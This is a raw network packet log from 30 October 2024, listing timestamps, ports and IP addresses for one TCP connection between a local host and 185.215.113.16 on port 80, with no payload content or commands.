Oct 30, 2024 00:21:14.445807934 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.445807934 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.445842028 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.445904970 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.445915937 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.445925951 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.445938110 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.445950031 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.445957899 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.445962906 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.445975065 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.445979118 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.445996046 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446007967 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446010113 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446019888 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446031094 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446053982 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446088076 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446198940 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446211100 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446222067 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446233034 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446245909 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446247101 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446257114 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446269035 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446273088 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446283102 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446295023 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446329117 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446329117 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446389914 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446402073 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446413994 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446449995 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446450949 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446501970 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446516037 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446527958 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446540117 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446552038 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446561098 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446582079 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446624041 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446821928 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446832895 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446842909 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446862936 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446872950 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446875095 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446887970 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446899891 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446909904 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446912050 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446924925 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446932077 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446938992 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446950912 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446963072 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446974039 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446974039 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.446974993 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.446988106 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447005987 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447006941 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447019100 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447027922 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447031975 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447043896 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447052956 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447058916 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447071075 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447088003 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447117090 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447262049 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447273016 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447285891 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447328091 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447364092 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447417021 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447427988 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447438955 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447449923 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447463036 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447472095 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447474003 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447489023 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447496891 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447500944 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447513103 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447525024 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447535038 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447535992 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447549105 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447560072 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447561026 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447561979 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447586060 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447627068 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447818995 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447829962 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447839975 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447851896 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447873116 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447876930 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447890043 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447894096 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447901964 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447915077 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447917938 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447927952 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447942019 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447942019 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447954893 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447959900 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.447968960 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447982073 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447993040 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.447998047 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448003054 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448016882 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448024988 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448029041 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448045969 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448065996 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448101997 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448246956 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448260069 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448271990 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448318958 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448318958 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448386908 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448399067 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448410034 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448416948 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448426962 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448436975 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448437929 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448451042 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448462963 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448470116 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448473930 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448487997 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448498964 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448509932 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448520899 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448525906 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448525906 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448543072 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448554993 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448555946 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448554993 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448570967 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448581934 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448590994 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448592901 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448605061 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448616028 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448616982 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448627949 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448638916 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448652029 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448652983 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448664904 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448679924 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448679924 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448682070 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448694944 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.448704958 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.448750019 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.449373007 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449385881 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449398041 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449409962 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449420929 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449434042 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449445009 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449445009 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.449457884 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449470997 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449470997 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.449484110 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449490070 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.449496031 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449510098 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449512005 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.449522018 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449532032 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.449533939 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449547052 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449548960 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.449558973 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449572086 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449583054 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.449603081 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.449620962 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.449708939 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449723005 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449733019 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449744940 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449758053 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.449769020 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.449769020 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.449807882 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.486870050 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.486917019 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.486929893 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.486941099 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.486953020 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.486965895 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.486968994 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.486979008 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.486994982 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.486995935 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.486995935 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487015963 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487066031 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487077951 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487092972 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487104893 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487129927 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487195969 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487195969 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487195969 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487195969 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487238884 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487251997 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487274885 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487279892 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487289906 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487302065 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487303019 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487325907 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487337112 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487340927 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487341881 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487349987 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487361908 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487361908 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487381935 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487405062 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487426043 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487452984 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487464905 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487473011 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487485886 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487498999 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487509966 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487514019 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487514019 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487538099 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487556934 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487632990 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487643957 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487654924 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487678051 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487703085 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487775087 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487783909 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487793922 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487806082 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487817049 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487819910 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487829924 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487843037 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487844944 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487849951 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487862110 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487864971 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487888098 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487904072 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.487988949 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.487999916 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488008976 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488020897 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488035917 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488064051 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488064051 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488151073 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488162041 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488173962 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488184929 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488195896 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488197088 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488210917 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488219976 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488223076 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488244057 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488245964 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488246918 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488255978 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488272905 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488291979 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488388062 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488399982 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488411903 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488423109 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488441944 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488452911 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488460064 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488460064 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488465071 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488477945 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488493919 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488497972 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488506079 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488518953 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488523006 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488531113 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488543034 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488563061 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488586903 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488699913 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488717079 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488729000 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488739014 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488749981 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488750935 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488784075 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488784075 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488857985 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488868952 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488883972 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488895893 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488912106 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488912106 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488915920 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488926888 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488934994 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488940001 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488954067 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488960028 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.488966942 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488979101 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.488984108 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.489021063 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.489212036 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.489224911 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.489237070 CET	80	59787	185.215.113.16	192.168.2.5
